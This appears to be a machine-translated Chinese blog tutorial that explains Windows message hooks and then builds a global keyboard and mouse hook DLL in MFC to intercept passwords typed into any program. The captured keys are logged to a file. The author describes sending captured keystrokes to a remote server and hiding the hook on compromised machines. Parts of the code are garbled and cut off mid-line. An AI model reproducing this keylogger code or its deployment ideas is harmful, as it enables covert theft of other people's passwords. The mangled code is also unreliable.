挂钩原理和示例:使用鼠标和键盘挂钩拦截密码
钩子的原理
挂钩可以拦截系统并处理发送到其他应用程序的消息,并可以执行普通程序无法完成的功能。 Windows系统建立在事件驱动机制的基础上,即整个系统是通过消息传输实现的。挂钩是Windows系统中非常重要的系统界面。它可以拦截和处理发送到其他应用程序的消息,以完成普通应用程序难以完成的功能。钩子有很多类型。每种类型的挂钩都可以拦截和处理相应的消息。例如,键盘挂钩可以拦截键盘消息,而外壳挂钩可以拦截,启动和关闭应用程序消息。
Windows消息提供了应用程序之间以及应用程序与Windows系统之间的通信方式。应用程序要实现的功能由消息触发,并由消息的响应和处理完成。 Windows系统中有两个消息队列,一个是系统消息队列,另一个是应用程序消息队列。 Windows监视所有计算机输入设备。发生事件时,Windows首先将输入消息放入系统消息队列中,然后将输入消息复制到相应的应用程序队列中。应用程序中的消息循环从以下位置开始:从消息队列中检索每个消息,并将其发送到相应的窗口函数。发生事件时,处理该事件的窗口函数必须经过上述过程。如下所示;

钩子实际上是处理消息的程序段。通过系统调用(安装挂钩)将其挂钩到系统中(添加到挂钩列表中)。每当发送特定消息时,挂钩程序都可以在消息到达目标窗口之前捕获该消息,也就是说,挂钩函数首先获得了控制权。这时,挂钩函数可以处理(更改)消息,或继续传递消息而不进行处理(到挂钩列表或应用程序目标窗口中的下一个挂钩),并且还可以强制结束消息传输。对于每种类型的挂钩,系统都会维护一个挂钩链接列表。其特点是,最近安装的挂钩位于链的开头,而第一个安装的挂钩位于结尾,即,后来添加的挂钩首先获得控制权。获取应用程序消息。消息是在链表上传输的,链表上的每个钩子都可以修改消息,将消息传递到下一个钩子并终止消息的传输。
钩子类别
按功能分类:
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET:允许您监视发送到窗口过程的消息
3、WH_DEBUG调试钩子
4、WH_FOREGROUNDIDLE当应用程序的前台线程即将变为空闲时,系统将调用WH_FOREGROUNDIDL
5、WH_JOURNALRECORD监视并记录输入事件
6、WH_JOURNALPLAYBACK播放WH_JOURNALRECORD录制事件
7、WH_KEYBOARD键盘挂钩
9、WH_KEYBOARD_LL低级键盘挂钩
10、WH_MOUSE鼠标钩
1 1、WH_MOUSE_LL底部鼠标钩
12、WH_SHELL外壳钩子
1 3、WH_MSGFILTER和WH_SYSMSGFILTER允许我们监视菜单,滚动条,消息框等。
常见类别:
全局挂钩和进程挂钩
由安装挂钩的功能SetWindowsHookEx(intidHook,HOOKPROClpfn,HINSTANCEhMod,DWORDdwThreadId)确定;第四个参数。第四个参数指定要监视的线程。如果指定了某个线程,则它是线程特定的挂钩;如果指定为空,则为全局挂钩。线程挂钩通常位于当前线程或从当前线程派生的线程中,并且系统挂钩必须放置在独立的动态链接库中,这在实现时比较麻烦。
安装和卸载挂钩的相关功能安装挂钩:
要实现Win32系统挂钩,必须调用SDK中的API函数SetWindowsHookEx来安装此挂钩函数。该函数的原型是

HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,INSTANCE hMod,DWORDdwThreadId)
第一个参数:idHook表示钩子类型,它与钩子函数类型对应。例如,WH_KEYBOARD,WH_MOUSE。
第二个参数:Lpfn是挂钩函数的地址。
第三个参数:HMod是挂钩函数所在实例的句柄。对于线程挂钩,此参数为NULL;对于线程挂钩,此参数为NULL。对于系统挂钩,此参数是挂钩函数所在的DLL句柄。 (系统挂钩必须在DLL中)
第四个参数:dwThreadId指定钩子监视的线程的线程号。对于全局挂钩,此参数为NULL。其中,全局挂钩函数必须包含在DLL(动态链接库)中,并且特定于线程的挂钩也可以包含在可执行文件中。具有控制权的挂钩函数完成对消息的处理后,如果希望继续传递消息,则必须调用SDK中的另一个API函数CallNextHookEx()来传递消息。挂钩函数还可以通过直接返回TRUE来丢弃消息,并阻止消息的传递。
执行SetWindowsHookEx(),它将返回已安装钩子的句柄。
卸载钩子调用函数BOOL UnhookWindowsHookEx(HHOOK hhk)来卸载钩子。参数hhk是执行SetWindowsHookEx()后返回的已安装挂钩的句柄。挂钩[回调]函数挂钩函数是一种特殊的回调函数。在发生由挂钩监视的特定事件(例如键盘事件)后,系统将调用挂钩函数进行处理。一般如下:
LRESULT WINAPI MyHookProc(int nCode,WPARAM wParam,LPARAM lParam)
参数wParam和lParam包含已挂起的消息的信息,例如鼠标位置,状态,键盘键值等。nCode包含有关消息本身的信息,例如是否从消息队列中将其删除。
我刚刚说过:全局挂钩函数必须包含在DLL(动态链接库)中。在此示例中,通过演示全局钩子,获得了所有过程输入框的输入键。让我们一起了解Win32 DLL。
Win32DLL的特征Win32DLL与Win16DLL之间有很大的不同,这主要取决于操作系统的设计原理。一方面,程序入口点函数和出口点函数(LibMain和WEP)分别在Win16DLL中实现;而在Win32DLL中,它是由相同的函数DLLMain实现的。每当进程或线程加载和卸载DLL时,都必须调用此函数。它的原型是
BOOLWINAPIDllMain(HINSTANCEhinstDLL,DWORDfdwReason,LPVOIDlpvReserved);
其中,第一个参数代表DLL的实例句柄;第三参数由系统保留;在这里,我们主要介绍第二个参数,它具有四个可能的值:DLL_PROCESS_ATTACH(进程加载),DLL_THREAD_ATTACH(线程加载到),DLL_THREAD_DETACH(线程卸载),DLL_PROCESS_DETACH(进程卸载),可以传入此参数的值进行判断DLLMain函数,并且可以根据不同的参数值初始化或清除DLL。例如,当进程加载DLL时,系统分配给DLL的第二个参数是DLL_PROCESS_ATTACH。此时,您可以基于此参数初始化特定数据。另一方面,在Win16环境中,所有应用程序都在相同的地址空间中。在Win32环境中,所有应用程序都有自己的私有空间,并且每个进程的空间彼此独立,从而减少了应用程序的数量。两者之间的相互作用,也增加了编程的难度。众所周知,在Win16环境中,DLL的全局数据对于每个加载它的进程都是相同的。在Win32环境中,情况发生了变化。当进程正在加载DLL时,系统会自动将DLL地址映射到进程的私有空间,并且还将DLL全局数据的副本复制到进程空间。也就是说,每个进程拥有的相同DLL的全局数据的值不一定相同。的。因此,如果要在Win32环境中的多个进程之间共享数据,则必须进行必要的设置。也就是说,需要共享的数据被分离,放置在一个独立的数据段中,并且该段的属性设置为共享。
VC6中MFCDLL的分类和特征
在VC6中,可以选择三种形式的MFCDLL(DLL可以使用并继承现有的MFC类),即Regularstaticallylinked至MFCDLL(标准静态链接MFCDLL)和Regularshared共享的DLLDLL(标准动态链接MFCDLL)和ExtensionMFCDLL(扩展名)。 MFCDLL)。第一种DLL的特征是在编译时将使用过的MFC代码添加到DLL中。因此,使用此程序时,不需要其他MFC动态链接库,但它占用更多的磁盘空间。第二种DLL的特点是,它在运行时动态链接到MFC类库,从而减少了空间占用,但它在运行时依赖于MFC动态链接库。这两个DLL可以由MFC程序或Win32程序使用。第三个DLL的特性类似于第二个DLL,因为它是MFC库的扩展,只能由MFC程序使用。
示例下面,我们安装鼠标钩。并且键盘钩子还拦截输入的密码,并可以查看* password,从而获得所有进程输入框的输入键。由于全局挂钩回调函数必须包含在动态链接库中,因此该示例由两个程序主体实现。第一个创建一个DDL动态链接库程序来实现重要功能的封装,第二个MFC程序提供一个界面,按钮安装和卸载钩子。第一个程序封装的重要功能将在第二个接口程序中使用。 1.建立DDL动态链接库程序。最后,编译运行将得到KeyboardHook.dll
([1)选择MFCAppWizard(DLL)创建项目Mousehook;
([2)选择MFCExtensionDLL(共享的MFC副本)类型;
(3)由于VC6没有现成的钩子类,因此请在项目目录中创建KeyboardHook.h文件,并在其中创建钩子类:
classAFX_EXT_CLASSCKeyboardHook:publicCObject /*KeyboardHook.h文件* /
{
公开
:

CKeyboardHook(); //钩子类的构造函数
virtual〜CKeyboardHook(); //钩子类的析构函数
public://这是函数的原型声明
BOOLStartHook(); //安装挂钩函数
BOOLStopHook(); //卸载钩子函数
};
([4)在KeyboardHook.cpp文件顶部添加#include“ KeyboardHook.h”语句;
([5)在KeyboardHook.cpp文件顶部添加一个全局共享数据变量:
#pragmadata_seg(“ mydata”)
HHOOKglhHook = NULL; //已安装的鼠标钩子句柄
HINSTANCEglhInstance = NULL; // DLL实例句柄
#pragmadata_seg()
([6)在DEF文件中定义部分属性:
部分
mydataREADWRITESHARED
([7)添加一条语句以将DLL实例句柄保存在主文件KeyboardHook.cpp的DllMain函数中:
glhInstance = hInstance; //插入保存DLL实例句柄
([8)键盘钩子回调函数的实现:
//键盘钩子回调函数
LALLULT CALLBACK KeyboardProc(intnCode,WPARAMwParam,LPARAMlParam)
{
charch = 0;
FILE * fl;
if((((DWORD)lParam&0x40000000)&&(HC_ACTION == nCode))//用键按下
{
if(((wParam == VK_SPACE)||(wParam == VK_RETURN)||(wParam> = 0x2f)&&(wParamAddto Project->文件选择这两个文件。
([4)在KeyHookDlg.h中添加私有数据成员:
CKeyboardHookm_hook; //将钩子类添加为数据成员
([5)链接DLL库,即将../KeyboardHook.lib添加到项目设置链接标记;ProgectàSettingàLinking
([6)将“确定”按钮ID更改为ID_HOOK,编写实现代码;(按Ctrl + w打开类向导,将响应处理功能添加到ID_HOOK)
voidCKeyHookDlg :: OnHook()
{
m_hook.StartHook();
}
([7)关闭按钮的实现:
voidCKeyHookDlg :: OnCancel()
{
m_hook.StopHook();
CDialog :: OnCancel();
}
([8)编译项目以生成可执行文件;
运行该程序,在Debug目录中生成KeyHook.exe程序,然后按HOOK!按钮,在加载挂钩后按键盘上的某些键,您会发现在EXE目录中自动生成了一个key.txt文件,该文件记录了您的密钥信息。需要将KeyboardHook.dll文件复制到KeyHook项目的Debug文件夹中。
这仅实现简单的功能,并且最近还在进行与操作系统有关的课程设计。我看到了其他人的示例,在计算机上运行程序,安装了一个钩子来监视和记录计算机的关键信息。该功能的实现也是其他操作的前提。在我的课程设计中,基本功能是监控键盘,实现对被监控的“客户端”和服务器的监控。该挂钩程序位于客户端,通过某些方法,该挂钩已安装在要监视的计算机上。只要安装好挂钩,然后就可以了,所谓的客户端,就是实现套接字的套接字。这些键值未记录在文件中,而是发送到指定主机的服务器。具体方法将在第一个DDL动态链接库项目中实现。添加一个函数来初始化网络,也就是说,客户端必须先通过TCP连接到“指定主机服务器”,然后再安装该钩子,然后替换钩子回调函数中的某些操作,并更改写入文件的操作。 TCP客户端用于将这些键值发送到服务器。客户端仅在发生监视的键盘事件时才发送它,而服务器仅等待接收并循环显示。这样就可以监视其他计算机,但是前提条件是需要网络支持。
有几种方法可以将挂钩安装在要监视的计算机上。有很多方法可以做到这一点。本课程旨在促进演示并将其直接安装在充当“受监视”角色的计算机上;在实践中有许多黑客技术和工具,您可以在肉鸡计算机上安装脱壳的“黑客程序”,并且可以完全隐藏进程并从启动中进行引导。关于其他方面,包括课程设计项目,将在以后进行整理。看到
,
运行程序,然后单击按钮以安装挂钩。当您在任何密码框中输入密码时,密码将被截获。即使键盘HOOK失败,将鼠标移到密码框中,您也会获得*数字密码。
经过大量测试,当前的钩子几乎可以拦截输入框的所有内容,包括Thunder登录密码,验证码和*数字密码。也可以拦截和显示它,包括一些大学的学术事务办公室的网站上。但是,QQ登录不起作用。它必须是安全限制;测试发现被拦截客户端的“密码”是乱码,没有对应的序列。即使受控客户端一直按相同的按钮,截获的字母也不同。找不到任何模式。登录腾讯游戏时,屏幕右下角的“ TP”保护系统是由老马聘请的外国密码专家开发的。至于此QQ登录的安全性限制,应该更具技术性。我认为启动QQ时,程序中可能有一个内置的挂钩。根据钩子放置的原理,可以设置全局钩子,也可以将其制成过程钩子。此过程具有内置的挂钩,并在QQ进程启动时安装在“挂钩列表”中。 ,是将首先接收应用程序信息的后安装挂钩。挂钩非常强大。它可以在将拦截的按钮信息发送到下一个钩子之前对其进行拦截和修改。 (关于QQ是我的个人看法)。
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/bofangqi/article-353473-1.html
实力超过日本海军